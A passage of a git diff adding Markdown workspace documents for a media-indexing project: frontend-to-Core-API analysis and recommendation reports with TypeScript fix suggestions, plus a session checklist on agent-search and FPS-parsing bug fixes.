faces) +- **cluster-results**: Returns proper cluster info and 196 frames + +## Relevant Files +- `/Users/accusys/momentry_core/scripts/fast_face_clustering_processor.py`: Fixed path and output format +- `/Users/accusys/momentry_core/src/api/pipeline.rs`: cluster-agent and cluster-results endpoints +- `/Users/accusys/momentry_core/src/core/processor/face_clustering.rs`: FaceClusterResult struct +- Test file UUID: `9f6a9cd55a5809f977f5a6589b9045c5` (FilmRiot test) + +## Next Steps +1. Test cluster-results from Studio UI +2. Verify Studio can call cluster-agent and display results +3. Implement pose expansion binary integration +4. Implement appearance extraction binary integration \ No newline at end of file diff --git a/docs_v1.0/M4_workspace/2026-07-22_studio_api_analysis.md b/docs_v1.0/M4_workspace/2026-07-22_studio_api_analysis.md new file mode 100644 index 0000000..96c2a8b --- /dev/null +++ b/docs_v1.0/M4_workspace/2026-07-22_studio_api_analysis.md @@ -0,0 +1,352 @@ +# Studio Frontend API Usage Analysis & Recommendations + +**Date:** 2026-07-22 +**Status:** Analysis Report +**Author:** OpenCode + +--- + +## Executive Summary + +分析了 Studio 前端 (`momentry_studio`) 對 Core API 的使用方式,發現以下主要問題: + +| 優先級 | 問題 | 影響 | +|--------|------|------| +| **Critical** | Video streaming 忽略 frame/time 參數 | 無法正確指定播放範圍 | +| **Critical** | 參數命名不一致 | API 呼叫可能失敗 | +| **High** | 錯誤處理淺層 | 5xx 不重試、無 timeout | +| **High** | 回應格式不一致 | 多重 fallback 路徑 | +| **Medium** | 前端硬編碼中文 | 破壞 i18n | + +--- + +## 1. Critical Issues + +### 1.1 Video Streaming Parameters Ignored + +**位置:** `src/api/index.ts:237-243`, `VideoPlayer.vue:276-632` + +**現狀:** +```typescript +// VideoPlayer.vue 傳入多個參數 +const data = await apiCall('get_video_stream', { + uuid: fu, + startTime: null, + endTime: null, + startFrame: stFrame, + endFrame: enFrame, + original: props.useOriginal, +}) + +// 但 buildHttpRequest 只使用 uuid 和 original +case 'get_video_stream': { + let url = `/api/v1/file/${a.uuid}/video` + if (a.original === true) { + url += '?original=true' + } + return { url, method: 'GET' } +} +``` + +**問題:** `startTime`, `endTime`, `startFrame`, `endFrame` 被完全忽略。 + +**建議:** +```typescript +case 'get_video_stream': { + let url = `/api/v1/file/${a.uuid}/video` + const params: string[] = [] + if (a.original === true) params.push('original=true') + if (a.startFrame != null) params.push(`start_frame=${a.startFrame}`) + if (a.endFrame != null) params.push(`end_frame=${a.endFrame}`) + if (a.startTime != null) params.push(`start_time=${a.startTime}`) + if (a.endTime != null) params.push(`end_time=${a.endTime}`) + if (params.length) url += '?' + params.join('&') + return { url, method: 'GET' } +} +``` + +--- + +### 1.2 Parameter Naming Inconsistency + +**位置:** `src/api/index.ts` 多處 + +**現狀:** + +| Endpoint | Frontend uses | Core API expects | +|----------|---------------|------------------| +| `get_files` | `a.args?.pageSize` | `page_size` | +| `get_people` | `perPage` | `per_page` | +| `get_file_identities` | `pageSize` | `page_size` | +| `search_identities` | `limit` | `limit` (OK) | + +**問題:** 參數命名風格混亂。 + +**建議:** 統一使用 `snake_case` 作為 API 參數,或建立 mapping layer: + +```typescript +// 統一命名映射 +const API_PARAM_MAP: Record = { + pageSize: 'page_size', + perPage: 'per_page', + fileUuid: 'file_uuid', + // ... +} + +function normalizeParams(params: Record): Record { + return Object.fromEntries( + Object.entries(params).map(([k, v]) => [API_PARAM_MAP[k] || k, v]) + ) +} +``` + +--- + +## 2. High Priority Issues + +### 2.1 Error Handling + +**位置:** `src/api/index.ts:95-153` + +**現狀問題:** + +1. **不重試 5xx:** Line 108 只對 network error 重試 +2. **無 timeout:** fetch 可能無限等待 +3. **錯誤分類缺失:** 無法區分 network / validation / server error + +**建議:** +```typescript +async function httpCall(cmd: string, args: Record, retries = 3): Promise { + const controller = new AbortController() + const timeout = setTimeout(() => controller.abort(), 30000) // 30s timeout + + try { + for (let i = 0; i < retries; i++) { + try { + const response = await fetch(fullUrl, { + ...opts, + signal: controller.signal, + }) + + if (response.ok) return await response.json() + + // Retry on 5xx + if (response.status >= 500 && i < retries - 1) { + await new Promise(r => setTimeout(r, 1000 * (i + 1))) + continue + } + + throw new ApiError(response.status, await response.text()) + } catch (e) { + if (e.name === 'AbortError') throw new TimeoutError(cmd) + if (i < retries - 1) { + await new Promise(r => setTimeout(r, 1000 * (i + 1))) + continue + } + throw e + } + } + } finally { + clearTimeout(timeout) + } +} +``` + +--- + +### 2.2 Response Format Inconsistency + +**位置:** `src/api/index.ts:536-824` + +**現狀:** +```typescript +const files = data.files || data.data || data || [] // 多重 fallback +const identities = data.identities || data.data || data || [] +``` + +**問題:** Core API 回應格式不穩定,前端需要多重 fallback。 + +**建議:** + +1. **短期:** 前端增加 schema validation + ```typescript + import { z } from 'zod' + + const FilesResponseSchema = z.object({ + files: z.array(FileSchema), + total: z.number().optional(), + }) + + function validateResponse(cmd: string, data: unknown) { + const schema = RESPONSE_SCHEMAS[cmd] + if (schema) return schema.parse(data) + return data + } + ``` + +2. **長期:** Core API 統一回應格式 + ```typescript + // 統一格式 + interface ApiResponse { + data: T + total?: number + page?: number + per_page?: number + } + ``` + +--- + +### 2.3 Hardcoded Chinese Strings + +**位置:** `src/api/index.ts:634-701` + +**現狀:** +```typescript +let asrStatus: 'no_audio_track' | 'silent_audio' | 'has_transcript' | 'processing' = 'processing' +let asrMessage = '處理中' + +if (asrSegments.length === 0) { + if (asrLang === '' && asrLangProb === 0) { + asrStatus = 'no_audio_track' + asrMessage = '無音軌' // 硬編碼中文 + } else { + asrStatus = 'silent_audio' + asrMessage = asrLang ? `無語音 (${asrLang})` : '無語音' + } +} +``` + +**問題:** UI 字串不應在 API 層。 + +**建議:** +```typescript +// API 層只回傳 status +asr_status: asrStatus, // 'no_audio_track' | 'silent_audio' | 'has_transcript' | 'processing' + +// UI 層用 i18n +const ASR_MESSAGES: Record = { + no_audio_track: 'search.asr.no_audio_track', + silent_audio: 'search.asr.silent_audio', + processing: 'search.asr.processing', +} + +// Vue component +const asrMessage = t(ASR_MESSAGES[result.asr_status]) +``` + +--- + +## 3. Medium Priority Issues + +### 3.1 Tauri Mode Hardcoded URL + +**位置:** `src/api/config.ts:1-11` + +**現狀:** +```typescript +export function getApiBase(): string { + if (isTauri) return 'http://localhost:8888' // 硬編碼 + // ... +} +``` + +**建議:** 使用環境變數或配置: +```typescript +const TAURI_API_PORT = import.meta.env.VITE_TAURI_API_PORT || '8888' +const TAURI_API_HOST = import.meta.env.VITE_TAURI_API_HOST || 'localhost' + +export function getApiBase(): string { + if (isTauri) return `http://${TAURI_API_HOST}:${TAURI_API_PORT}` + // ... +} +``` + +--- + +### 3.2 Pipeline Progress Recalculation + +**位置:** `src/store.ts:874-891` + +**現狀:** 前端重新計算 `overall_progress`,顯示對 API 值的不信任。 + +**建議:** +1. 確認 Core API 計算邏輯正確 +2. 移除前端重算邏輯,信任 API 值 + +--- + +### 3.3 Request Deduplication Missing + +**位置:** `src/store.ts` 多處 concurrent loading + +**現狀:** 可能對同一資源發出多個重複請求。 + +**建議:** 實作 request deduplication: +```typescript +const pendingRequests = new Map>() + +async function dedupedApiCall(cmd: string, args: Record): Promise { + const key = `${cmd}:${JSON.stringify(args)}` + if (pendingRequests.has(key)) { + return pendingRequests.get(key)! + } + const promise = apiCall(cmd, args).finally(() => { + pendingRequests.delete(key) + }) + pendingRequests.set(key, promise) + return promise +} +``` + +--- + +## 4. Recommended Action Plan + +### Phase 1: Critical Fixes (1-2 days) + +| Task | File | Effort | +|------|------|--------| +| Fix video streaming params | `api/index.ts:237-243` | 30 min | +| Standardize param naming | `api/index.ts` 多處 | 2 hrs | +| Add request timeout | `api/index.ts:95-153` | 1 hr | + +### Phase 2: High Priority (3-5 days) + +| Task | File | Effort | +|------|------|--------| +| Improve error handling | `api/index.ts` | 4 hrs | +| Extract i18n strings | `api/index.ts`, `locales/*.json` | 3 hrs | +| Add response validation | `api/index.ts` | 4 hrs | + +### Phase 3: Medium Priority (1 week) + +| Task | File | Effort | +|------|------|--------| +| Configurable Tauri URL | `api/config.ts` | 1 hr | +| Request deduplication | `api/index.ts` | 3 hrs | +| Remove progress recalculation | `store.ts` | 2 hrs | + +--- + +## 5. Open Questions + +1. **Video streaming params:** 是否應該支援 `startFrame`/`endFrame`?目前 Core API 支援,但前端未使用。 + +2. **Response format:** Core API 是否應統一格式?需要後端配合修改。 + +3. **Error classification:** 是否需要更細緻的錯誤分類?例如 network / validation / server / timeout。 + +--- + +## Appendix: File Reference + +| File | Key Lines | Issue | +|------|-----------|-------| +| `src/api/index.ts` | 16-20, 237-243 | Video streaming params ignored | +| `src/api/index.ts` | 95-153 | Error handling | +| `src/api/index.ts` | 536-824 | Response transformation | +| `src/api/config.ts` | 1-11 | Hardcoded URL | +| `src/components/VideoPlayer.vue` | 276-632 | Passes unused params | +| `src/store.ts` | 874-891 | Progress recalculation | +| `src/views/SearchView.vue` | 612-730 | Agent search parsing | \ No newline at end of file diff --git a/docs_v1.0/M4_workspace/2026-07-22_studio_api_usage_analysis.md b/docs_v1.0/M4_workspace/2026-07-22_studio_api_usage_analysis.md new file mode 100644 index 0000000..59f7ead --- /dev/null +++ b/docs_v1.0/M4_workspace/2026-07-22_studio_api_usage_analysis.md @@ -0,0 +1,360 @@ +# Studio Frontend API Usage Analysis & Recommendations + +**Date:** 2026-07-22 +**Status:** Analysis Report +**Author:** OpenCode + +--- + +## Executive Summary + +分析了 Studio 前端 (`momentry_studio`) 對 Core API 的使用方式,發現以下主要問題: + +| 優先級 | 問題 | 影響 | +|--------|------|------| +| **Critical** | Video streaming 忽略 frame/time 參數 | 無法正確指定播放範圍 | +| **Critical** | 參數命名不一致 | API 呼叫可能失敗 | +| **High** | 錯誤處理淺層 | 5xx 不重試、無 timeout | +| **High** | 回應格式不一致 | 多重 fallback 路徑 | +| **Medium** | 前端硬編碼中文 | 破壞 i18n | + +--- + +## 1. Critical Issues + +### 1.1 Video Streaming Parameters Ignored + +**位置:** `src/api/index.ts:237-243`, `VideoPlayer.vue:276-632` + +**現狀:** +```typescript +// VideoPlayer.vue 傳入多個參數 +const data = await apiCall('get_video_stream', { + uuid: fu, + startTime: null, + endTime: null, + startFrame: stFrame, + endFrame: enFrame, + original: props.useOriginal, +}) + +// 但 buildHttpRequest 只使用 uuid 和 original +case 'get_video_stream': { + let url = `/api/v1/file/${a.uuid}/video` + if (a.original === true) { + url += '?original=true' + } + return { url, method: 'GET' } +} +``` + +**問題:** `startTime`, `endTime`, `startFrame`, `endFrame` 被完全忽略。 + +**建議:** +```typescript +case 'get_video_stream': { + let url = `/api/v1/file/${a.uuid}/video` + const params: string[] = [] + if (a.original === true) params.push('original=true') + if (a.startFrame != null) params.push(`start_frame=${a.startFrame}`) + if (a.endFrame != null) params.push(`end_frame=${a.endFrame}`) + if (a.startTime != null) params.push(`start_time=${a.startTime}`) + if (a.endTime != null) params.push(`end_time=${a.endTime}`) + if (params.length) url += '?' + params.join('&') + return { url, method: 'GET' } +} +``` + +--- + +### 1.2 Parameter Naming Inconsistency + +**位置:** `src/api/index.ts` 多處 + +**現狀:** + +| Endpoint | Frontend uses | Core API expects | +|----------|---------------|------------------| +| `get_files` | `a.args?.pageSize` | `page_size` | +| `get_people` | `perPage` | `per_page` | +| `get_file_identities` | `pageSize` | `page_size` | +| `search_identities` | `limit` | `limit` (OK) | + +**問題:** 參數命名風格混亂。 + +**建議:** 統一使用 `snake_case` 作為 API 參數,或建立 mapping layer: + +```typescript +// 統一命名映射 +const API_PARAM_MAP: Record = { + pageSize: 'page_size', + perPage: 'per_page', + fileUuid: 'file_uuid', + // ... +} + +function normalizeParams(params: Record): Record { + return Object.fromEntries( + Object.entries(params).map(([k, v]) => [API_PARAM_MAP[k] || k, v]) + ) +} +``` + +--- + +## 2. High Priority Issues + +### 2.1 Error Handling + +**位置:** `src/api/index.ts:95-153` + +**現狀問題:** + +1. **不重試 5xx:** Line 108 只對 network error 重試 +2. **無 timeout:** fetch 可能無限等待 +3. **錯誤分類缺失:** 無法區分 network / validation / server error + +**建議:** +```typescript +async function httpCall(cmd: string, args: Record, retries = 3): Promise { + const controller = new AbortController() + const timeout = setTimeout(() => controller.abort(), 30000) // 30s timeout + + try { + for (let i = 0; i < retries; i++) { + try { + const response = await fetch(fullUrl, { + ...opts, + signal: controller.signal, + }) + + if (response.ok) return await response.json() + + // Retry on 5xx + if (response.status >= 500 && i < retries - 1) { + await new Promise(r => setTimeout(r, 1000 * (i + 1))) + continue + } + + throw new ApiError(response.status, await response.text()) + } catch (e) { + if (e.name === 'AbortError') throw new TimeoutError(cmd) + if (i < retries - 1) { + await new Promise(r => setTimeout(r, 1000 * (i + 1))) + continue + } + throw e + } + } + } finally { + clearTimeout(timeout) + } +} +``` + +--- + +### 2.2 Response Format Inconsistency + +**位置:** `src/api/index.ts:536-824` + +**現狀:** +```typescript +const files = data.files || data.data || data || [] // 多重 fallback +const identities = data.identities || data.data || data || [] +``` + +**問題:** Core API 回應格式不穩定,前端需要多重 fallback。 + +**建議:** + +1. **短期:** 前端增加 schema validation + ```typescript + import { z } from 'zod' + + const FilesResponseSchema = z.object({ + files: z.array(FileSchema), + total: z.number().optional(), + }) + + function validateResponse(cmd: string, data: unknown) { + const schema = RESPONSE_SCHEMAS[cmd] + if (schema) return schema.parse(data) + return data + } + ``` + +2. **長期:** Core API 統一回應格式 + ```typescript + // 統一格式 + interface ApiResponse { + data: T + total?: number + page?: number + per_page?: number + } + ``` + +--- + +### 2.3 Hardcoded Chinese Strings + +**位置:** `src/api/index.ts:634-701` + +**現狀:** +```typescript +let asrStatus: 'no_audio_track' | 'silent_audio' | 'has_transcript' | 'processing' = 'processing' +let asrMessage = '處理中' + +if (asrSegments.length === 0) { + if (asrLang === '' && asrLangProb === 0) { + asrStatus = 'no_audio_track' + asrMessage = '無音軌' // 硬編碼中文 + } else { + asrStatus = 'silent_audio' + asrMessage = asrLang ? `無語音 (${asrLang})` : '無語音' + } +} +``` + +**問題:** UI 字串不應在 API 層。 + +**建議:** +```typescript +// API 層只回傳 status +asr_status: asrStatus, // 'no_audio_track' | 'silent_audio' | 'has_transcript' | 'processing' + +// UI 層用 i18n +const ASR_MESSAGES: Record = { + no_audio_track: 'search.asr.no_audio_track', + silent_audio: 'search.asr.silent_audio', + processing: 'search.asr.processing', +} + +// Vue component +const asrMessage = t(ASR_MESSAGES[result.asr_status]) +``` + +--- + +## 3. Medium Priority Issues + +### 3.1 Tauri Mode Hardcoded URL + +**位置:** `src/api/config.ts:1-11` + +**現狀:** +```typescript +export function getApiBase(): string { + if (isTauri) return 'http://localhost:8888' // 硬編碼 + // ... +} +``` + +**建議:** 使用環境變數或配置: +```typescript +const TAURI_API_PORT = import.meta.env.VITE_TAURI_API_PORT || '8888' +const TAURI_API_HOST = import.meta.env.VITE_TAURI_API_HOST || 'localhost' + +export function getApiBase(): string { + if (isTauri) return `http://${TAURI_API_HOST}:${TAURI_API_PORT}` + // ... +} +``` + +--- + +### 3.2 Pipeline Progress Recalculation + +**位置:** `src/store.ts:874-891` + +**現狀:** 前端重新計算 `overall_progress`,顯示對 API 值的不信任。 + +**建議:** +1. 確認 Core API 計算邏輯正確 +2. 移除前端重算邏輯,信任 API 值 + +--- + +### 3.3 Request Deduplication Missing + +**位置:** `src/store.ts` 多處 concurrent loading + +**現狀:** 可能對同一資源發出多個重複請求。 + +**建議:** 實作 request deduplication: +```typescript +const pendingRequests = new Map>() + +async function dedupedApiCall(cmd: string, args: Record): Promise { + const key = `${cmd}:${JSON.stringify(args)}` + if (pendingRequests.has(key)) { + return pendingRequests.get(key)! + } + const promise = apiCall(cmd, args).finally(() => { + pendingRequests.delete(key) + }) + pendingRequests.set(key, promise) + return promise +} +``` + +--- + +## 4. Recommended Action Plan + +### Phase 1: Critical Fixes (1-2 days) + +| Task | File | Effort | +|------|------|--------| +| Fix video streaming params | `api/index.ts:237-243` | 30 min | +| Standardize param naming | `api/index.ts` 多處 | 2 hrs | +| Add request timeout | `api/index.ts:95-153` | 1 hr | + +### Phase 2: High Priority (3-5 days) + +| Task | File | Effort | +|------|------|--------| +| Improve error handling | `api/index.ts` | 4 hrs | +| Extract i18n strings | `api/index.ts`, `locales/*.json` | 3 hrs | +| Add response validation | `api/index.ts` | 4 hrs | + +### Phase 3: Medium Priority (1 week) + +| Task | File | Effort | +|------|------|--------| +| Configurable Tauri URL | `api/config.ts` | 1 hr | +| Request deduplication | `api/index.ts` | 3 hrs | +| Remove progress recalculation | `store.ts` | 2 hrs | + +--- + +## 5. Open Questions + +1. **Video streaming params:** 是否應該支援 `startFrame`/`endFrame`?目前 Core API 支援,但前端未使用。 + +2. **Response format:** Core API 是否應統一格式?需要後端配合修改。 + +3. **Error classification:** 是否需要更細緻的錯誤分類?例如 network / validation / server / timeout。 + +--- + +## Appendix: File Reference + +| File | Key Lines | Issue | +|------|-----------|-------| +| `src/api/index.ts` | 16-20, 237-243 | Video streaming params ignored | +| `src/api/index.ts` | 95-153 | Error handling | +| `src/api/index.ts` | 536-824 | Response transformation | +| `src/api/config.ts` | 1-11 | Hardcoded URL | +| `src/components/VideoPlayer.vue` | 276-632 | Passes unused params | +| `src/store.ts` | 874-891 | Progress recalculation | +| `src/views/SearchView.vue` | 612-730 | Agent search parsing | + +--- + +## Version History + +| Version | Date | Author | Changes | +|---------|------|--------|---------| +| 1.0 | 2026-07-22 | OpenCode | Initial analysis report | \ No newline at end of file diff --git a/docs_v1.0/M4_workspace/2026-07-22_studio_core_api_recommendations.md b/docs_v1.0/M4_workspace/2026-07-22_studio_core_api_recommendations.md new file mode 100644 index 0000000..3e16861 --- /dev/null +++ b/docs_v1.0/M4_workspace/2026-07-22_studio_core_api_recommendations.md @@ -0,0 +1,360 @@ +# Studio Core API 使用建議 + +**Date:** 2026-07-22 +**Status:** Recommendation Report +**Author:** OpenCode +**Based on:** `/Users/accusys/momentry_studio/docs/core-api-usage.md` + +--- + +## 一、總覽 + +本文檔針對 `core-api-usage.md` 中記錄的 API 使用方式,提出具體改進建議。 + +| 優先級 | 問題 | 位置 | 影響 | +|--------|------|------|------| +| **Critical** | Video streaming 忽略時間參數 | 3.2 | 無法指定播放範圍 | +| **High** | 參數命名不一致 | 全文 | 維護困難 | +| **High** | 錯誤處理不足 | 未記錄 | 用戶體驗差 | +| **Medium** | 分頁邏輯複雜 | 4.1 | 效能問題 | +| **Medium** | 本地 API 過多 | 10.2 | 架構複雜 | + +--- + +## 二、Critical Issues + +### 2.1 Video Streaming 參數缺失 + +**現狀** (`core-api-usage.md:117-124`): +```markdown +### 3.2 影片串流 + +| 端點 | 方法 | 說明 | +|------|------|------| +| `/api/v1/file/:uuid/video` | GET | 影片串流 | + +**注意**: Core API 已支援 HTTP Range requests +``` + +**問題:** + +1. 文檔未記錄支援的 query parameters +2. 前端 `api/index.ts:237-243` 只傳 `uuid` 和 `original`,忽略 `start_time`/`end_time`/`start_frame`/`end_frame` + +**建議修改文檔:** + +```markdown +### 3.2 影片串流 + +| 端點 | 方法 | 說明 | +|------|------|------| +| `/api/v1/file/:uuid/video` | GET | 影片串流(支援 Range requests) | + +**Query Parameters**: +| 參數 | 類型 | 說明 | +|------|------|------| +| `start_time` | float | 起始時間(秒) | +| `end_time` | float | 結束時間(秒) | +| `start_frame` | int | 起始幀編號 | +| `end_frame` | int | 結束幀編號 | +| `original` | bool | 是否使用原始檔(不使用 720p proxy) | + +**使用範例**: +```bash +# 播放完整影片 +GET /api/v1/file/:uuid/video + +# 播放 5-10 秒片段 +GET /api/v1/file/:uuid/video?start_time=5&end_time=10 + +# 播放特定幀範圍 +GET /api/v1/file/:uuid/video?start_frame=100&end_frame=300 + +# 強制使用原始檔(跳過 proxy) +GET /api/v1/file/:uuid/video?original=true +``` + +**注意**: +- 不帶參數時,若 `proxy_path` 存在會自動使用 720p proxy +- Core API 支援 HTTP Range requests,瀏覽器可跳轉播放 +``` + +**建議修改前端** (`src/api/index.ts:237-243`): + +```typescript +case 'get_video_stream': { + let url = `/api/v1/file/${a.uuid}/video` + const params: string[] = [] + if (a.original === true) params.push('original=true') + if (a.startFrame != null) params.push(`start_frame=${a.startFrame}`) + if (a.endFrame != null) params.push(`end_frame=${a.endFrame}`) + if (a.startTime != null) params.push(`start_time=${a.startTime}`) + if (a.endTime != null) params.push(`end_time=${a.endTime}`) + if (params.length) url += '?' + params.join('&') + return { url, method: 'GET' } +} +``` + +--- + +## 三、High Priority Issues + +### 3.1 參數命名不一致 + +**現狀:** + +| 文檔記錄 | 前端使用 | Core API 實际 | +|----------|----------|---------------| +| `limit` | `limit` | `limit` ✅ | +| `per_page` | `perPage` | `per_page` | +| `page_size` | `pageSize` | `page_size` | +| `q` | `query` | `q` | + +**問題:** 前端使用 camelCase,Core API 使用 snake_case + +**建議:** + +1. **統一文檔記錄格式** - 使用 snake_case 作為 API 參數標準 +2. **前端建立 mapping layer** - 在 `buildHttpRequest` 中轉換 + +```typescript +// api/params.ts +export const PARAM_MAP: Record = { + pageSize: 'page_size', + perPage: 'per_page', + fileUuid: 'file_uuid', + startTime: 'start_time', + endTime: 'end_time', + startFrame: 'start_frame', + endFrame: 'end_frame', +} + +export function toSnakeCase(params: Record): Record { + return Object.fromEntries( + Object.entries(params).map(([k, v]) => [PARAM_MAP[k] || k, v]) + ) +} +``` + +### 3.2 錯誤處理未記錄 + +**現狀:** 文檔未記錄錯誤處理策略 + +**建議新增章節:** + +```markdown +## 十三、錯誤處理規範 + +### 13.1 HTTP 狀態碼 + +| 狀態碼 | 意義 | 前端處理 | +|--------|------|----------| +| 200 | 成功 | 正常處理 | +| 204 | 成功(無內容) | 視為成功 | +| 400 | 參數錯誤 | 顯示錯誤訊息 | +| 401 | 未授權 | 重新登入 | +| 404 | 資源不存在 | 顯示「找不到」 | +| 500 | 伺服器錯誤 | 重試 3 次 | + +### 13.2 重試策略 + +- 僅對 **5xx** 和 **network error** 重試 +- 重試間隔: 1s, 2s, 4s (exponential backoff) +- 最大重試次數: 3 + +### 13.3 Timeout + +- 預設 timeout: 30 秒 +- 上傳/下載: 120 秒 +- 使用 `AbortController` 實作 + +### 13.4 錯誤分類 + +```typescript +enum ApiErrorType { + NETWORK = 'network', // 無法連線 + TIMEOUT = 'timeout', // 請求超時 + VALIDATION = 'validation', // 400 參數錯誤 + AUTH = 'auth', // 401 未授權 + NOT_FOUND = 'not_found', // 404 不存在 + SERVER = 'server', // 500+ 伺服器錯誤 +} +``` +``` + +--- + +## 四、Medium Priority Issues + +### 4.1 分頁邏輯複雜 + +**現狀** (`core-api-usage.md:147`): +```markdown +**注意**: Studio 使用特殊邏輯(最多 10 頁 × 100 筆)避免 Core API timeout +``` + +**問題:** +1. 前端需多次請求才能取得完整列表 +2. 效能瓶頸在 Core API + +**建議:** + +1. **Core API 優化** - 支援 `per_page=500` 而不 timeout +2. **前端改用 cursor-based pagination** - 避免多次請求 + +```typescript +// 改用無限滾動 +async function loadPeople(cursor?: string) { + const result = await apiCall('get_people', { + cursor, + per_page: 50 + }) + return { + identities: result.identities, + next_cursor: result.next_cursor, + } +} +``` + +### 4.2 本地 API 過多 + +**現狀** (`core-api-usage.md:391-407`): + +```markdown +以下 API 由 Studio 本地處理,**不會**轉發到 Core API: +- `/api/v1/auth/login` +- `/api/v1/search-history` +- `/api/v1/bookmarks` +- `/api/v1/identity/:uuid/profile` +- `/api/v1/face-thumbnail` +- `/api/v1/media/frame` +- `/api/v1/file/thumbnail` +- `/api/v1/identity-matches` +- `/api/v1/cluster-results` +- `/api/v1/processor-json` +``` + +**問題:** +1. 架構複雜,部分 API 應在 Core API 實作 +2. 前端需維護兩套邏輯 + +**建議分類:** + +| API | 建議歸屬 | 理由 | +|-----|----------|------| +| `auth/login` | 保持本地 | 用戶管理是前端職責 | +| `search-history` | 保持本地 | 前端專用資料 | +| `bookmarks` | 保持本地 | 前端專用資料 | +| `identity/:uuid/profile` | **移至 Core API** | 大頭貼應由後端管理 | +| `face-thumbnail` | 保持本地 | 需 bbox crop,Core API 不支援 | +| `media/frame` | **移至 Core API** | ffmpeg 應統一在後端 | +| `file/thumbnail` | **移至 Core API** | ffmpeg 應統一在後端 | +| `identity-matches` | 保持本地 | QC 專用 | +| `cluster-results` | 保持本地 | QC 專用 | +| `processor-json` | 保持本地 | QC 專用 | + +--- + +## 五、新增建議章節 + +### 5.1 新增 Proxy 行為說明 + +```markdown +## 十四、Tauri Proxy 行為 + +### 14.1 自動注入 API Key + +所有經由 Rust proxy 的請求會自動注入 `api_key`: + +``` +前端: GET http://localhost:8888/api/v1/identities +Proxy: GET http://localhost:3002/api/v1/identities?api_key=muser_xxx +``` + +### 14.2 Range Headers 轉發 + +Proxy 會轉發 `Range` header 到 Core API: + +``` +前端: Range: bytes=0-1000 +Proxy: Range: bytes=0-1000 (原樣轉發) +``` + +### 14.3 本地 API 判斷規則 + +Proxy 根據 `src-tauri/src/proxy.rs` 中的規則判斷是否轉發: + +- 符合本地路由 → 本地處理 +- 其他 → 轉發到 Core API +``` + +### 5.2 新增請求範例 + +建議在每個 API 章節新增實際請求範例: + +```markdown +### 3.2 影片串流 + +**請求範例**: +```bash +# 完整影片 +curl -H "Authorization: Bearer muser_xxx" \ + "http://localhost:3002/api/v1/file/abc123/video" + +# 片段(5-10秒) +curl -H "Authorization: Bearer muser_xxx" \ + "http://localhost:3002/api/v1/file/abc123/video?start_time=5&end_time=10" + +# Range request +curl -H "Authorization: Bearer muser_xxx" \ + -H "Range: bytes=0-1000" \ + "http://localhost:3002/api/v1/file/abc123/video" +``` + +**回應範例**: +```http +HTTP/1.1 206 Partial Content +Content-Type: video/mp4 +Content-Range: bytes 0-1000/229638144 +Content-Length: 1001 +Accept-Ranges: bytes +``` +``` + +--- + +## 六、執行計畫 + +### Phase 1: 文檔更新 (1 day) + +| Task | File | +|------|------| +| 新增 video streaming 參數說明 | `core-api-usage.md:117-124` | +| 新增錯誤處理章節 | `core-api-usage.md` (新增十三) | +| 新增 proxy 行為說明 | `core-api-usage.md` (新增十四) | +| 統一參數命名 | `core-api-usage.md` 全文 | + +### Phase 2: 前端修改 (2-3 days) + +| Task | File | +|------|------| +| 修復 video streaming params | `src/api/index.ts:237-243` | +| 新增參數 mapping layer | `src/api/params.ts` (新建) | +| 改善錯誤處理 | `src/api/index.ts:95-153` | +| 新增 request timeout | `src/api/index.ts` | + +### Phase 3: Core API 優化 (可選) + +| Task | File | +|------|------| +| 支援 `per_page=500` | Core API pagination | +| 新增 `/api/v1/file/:uuid/frame` | Core API | +| 新增 `/api/v1/identity/:uuid/profile` GET | Core API | + +--- + +## 七、Version History + +| Version | Date | Author | Changes | +|---------|------|--------|---------| +| 1.0 | 2026-07-22 | OpenCode | Initial recommendation report | \ No newline at end of file diff --git a/docs_v1.0/M4_workspace/2026-07-23_session_verification_checklist.md b/docs_v1.0/M4_workspace/2026-07-23_session_verification_checklist.md new file mode 100644 index 0000000..85fdcca --- /dev/null +++ b/docs_v1.0/M4_workspace/2026-07-23_session_verification_checklist.md @@ -0,0 +1,221 @@ +# Session Verification Checklist - 2026-07-23 + +## 會話議題 +Agent Search 功能改進與 Bug 修復 + +--- + +## ✅ 已完成項目 + +### 1. Agent Search Prompt 改進 + +**檔案**: `src/api/agent_search.rs` + +**修改內容**: +- 新增 Greeting Handling 區塊(處理 "hi", "hello" 問候語) +- 新增 Response Language 區塊(強制預設英文回應) +- 調整搜尋工具優先順序:semantic_search → smart_search → trace_search +- 移除頂層的 `fps` 欄位說明(因為 probe.json 沒有此欄位) + +**驗證結果**: +| 測試項目 | 預期 | 實際 | 狀態 | +|----------|------|------|------| +| "hi" 問候 | 英文回應 | "Hello! I'm Momentry..." | ✅ | +| "gun" 搜尋 | 英文回應 | "The video contains..." | ✅ | +| 搜尋工具選擇 | semantic_search | semantic_search 被呼叫 | ✅ | + +--- + +### 2. ASRX FPS 提取邏輯修復 + +**檔案**: +- `scripts/asrx_processor_custom_v1.11.py` +- `scripts/asrx_processor.py` + +**問題**: +- ASRX processor 試圖讀取 `probe_data["fps"]`(不存在的頂層欄位) +- 導致使用預設值 fps=30,而非實際的 24fps +- 造成 frame number 計算錯誤 + +**修改內容**: +```python +# 之前(錯誤): +if "fps" in probe_data: + fps = float(probe_data["fps"]) + +# 之後(正確): +for stream in probe_data.get("streams", []): + if stream.get("codec_type") == "video": + if "r_frame_rate" in stream: + fps_str = stream["r_frame_rate"] + # Parse "24000/1001" format + if "/" in fps_str: + num, den = fps_str.split("/") + fps = float(num) / float(den) +``` + +**驗證結果**: +- ✅ 語法檢查通過(`python3 -m py_compile`) +- ⚠️ 需要重新處理現有 ASRX 資料才能生效 + +--- + +### 3. semantic_search file_uuid 過濾修復 + +**檔案**: `src/core/agent/tools.rs` + +**問題**: +- LLM 傳遞 `file_uuid=""` sentinel 值 +- semantic_search 錯誤地在 uuid `` 中搜尋 +- 導致返回 0 結果 + +**修改內容**: +```rust +// 之前: +let file_uuid = args.get("file_uuid").and_then(|v| v.as_str()); + +// 之後: +let file_uuid = args + .get("file_uuid") + .and_then(|v| v.as_str()) + .filter(|s| !s.is_empty() && *s != "" && *s != "null"); +``` + +**驗證結果**: +- ✅ 日誌顯示 `file_uuid=None`(正確過濾) +- ✅ Qdrant 返回 10 hits(之前是 0 hits) + +--- + +### 4. semantic_search SQL 查詢修復 + +**檔案**: `src/core/agent/tools.rs` + +**問題**: +- SQL 查詢嘗試讀取 `c.summary` 欄位 +- chunk table 沒有 `summary` 欄位 +- 導致 PostgreSQL 查詢失敗 + +**修改內容**: +```rust +// 之前: +"SELECT c.chunk_id, c.chunk_type, c.start_time, c.end_time, c.fps, \ + c.text_content, c.summary, v.file_name ..." + +// 之後: +"SELECT c.chunk_id, c.chunk_type, 